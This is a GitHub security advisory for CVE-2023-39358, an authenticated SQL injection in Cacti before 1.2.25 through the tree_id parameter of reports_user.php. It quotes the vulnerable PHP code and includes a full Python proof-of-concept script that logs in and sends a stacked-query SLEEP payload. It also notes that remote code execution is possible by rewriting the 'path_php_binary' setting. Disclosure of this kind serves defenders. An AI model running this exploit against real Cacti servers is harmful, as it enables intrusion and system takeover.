Skip to content

Authenticated SQL injection vulnerability when managing reports

High
netniV published GHSA-gj95-7xr8-9p7g Sep 5, 2023

Package

Cacti

Affected versions

< 1.2.25

Patched versions

1.2.25, 1.3.0

Description

Summary

An authenticated SQL injection vulnerability was discovered during the review of this project. This allows authenticated users to exploit the SQL injection vulnerability to perform privilege escalation and remote code execution.

Details

The vulnerability resides in the reports_user.php file. In ajax_get_branches, the tree_id parameter is passed to the reports_get_branch_select function without any validation.

switch (get_request_var('action')) {
	// ...
	case 'ajax_get_branches':
		print reports_get_branch_select(get_request_var('tree_id'));

An SQL injection vulnerability arises in the reports_get_branch_select function, as the tree_id variable is directly utilized in the WHERE clause of the SQL statement when the tree_id variable is greater than 0.

function reports_get_branch_select($tree_id) {
	$sql_where = '';
	if ($tree_id > 0) {
		$sql_where .= ($sql_where != '' ? ' AND ':'') . 'gt.id=' . $tree_id;
	}

	$branches = array_rekey(
		get_allowed_branches($sql_where),
		'id', 'name'
	);

The same code is also present in the ajax_get_branches case of the switch statement in the reports_admin.php file, which is likewise affected by SQL injection

PoC

By running the following Python3 code, you will observe a delay of 10 seconds in the response, which indicates the occurrence of SQL injection.

import argparse
import requests
import sys
import urllib3

#import os
#os.environ['http_proxy'] = 'http://localhost:8080'

sleep_time = 10
payload = f"""1));SELECT SLEEP({sleep_time})-- -"""


def get_csrf_token():
    url = f"{target}/index.php"
    
    res_body = session.get(url).content.decode()
    csrf_token = res_body.split('var csrfMagicToken = "')[1].split('"')[0]
    if not csrf_token:
        print("[-] Unable to find csrf_token")
        sys.exit()
    return csrf_token

def login(username,password):
    login_url = f"{target}/index.php"

    csrf_token = get_csrf_token() 
    data = {'action':'login','login_username':username,'login_password':password,'__csrf_magic':csrf_token}
    
    res_body = session.post(login_url,data=data).content.decode()
    
    if 'You are now logged into <' in res_body:
        print('[+] Login successful!')
    else:
        print('[-] Login failed. Check your credentials')
        sys.exit()

def exploit():
    url = f"{target}/reports_user.php"

    params = {
        'action':'ajax_get_branches',
        'tree_id':payload
    }

    print('[+] Sending payload...')
    print(f"[+] Payload: {payload}")
    session.get(url,params=params)
    
if __name__=='__main__':
    urllib3.disable_warnings()
    parser = argparse.ArgumentParser(description="Cacti 1.2.24 - reports_user.php 'tree_id' SQL Injection (authenticated)")
    parser.add_argument('-t','--target',help='',required=True)
    parser.add_argument('-u','--username',help='',required=True)
    parser.add_argument('-p','--password',help='',required=True)
    args = parser.parse_args()
    
    username = args.username
    password = args.password
    target = args.target
    session = requests.Session()

    login(username,password)
    exploit()

burp

Impact

This vulnerability presents a significant risk as authenticated users can exploit the SQL injection vulnerability to escalate privileges and execute remote code, potentially compromising the system's integrity and confidentiality.
As the application accepts stacked queries, it is possible to achieve remote code execution by altering the 'path_php_binary' value in the database.

Severity

High
8.8
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2023-39358

Weaknesses

Credits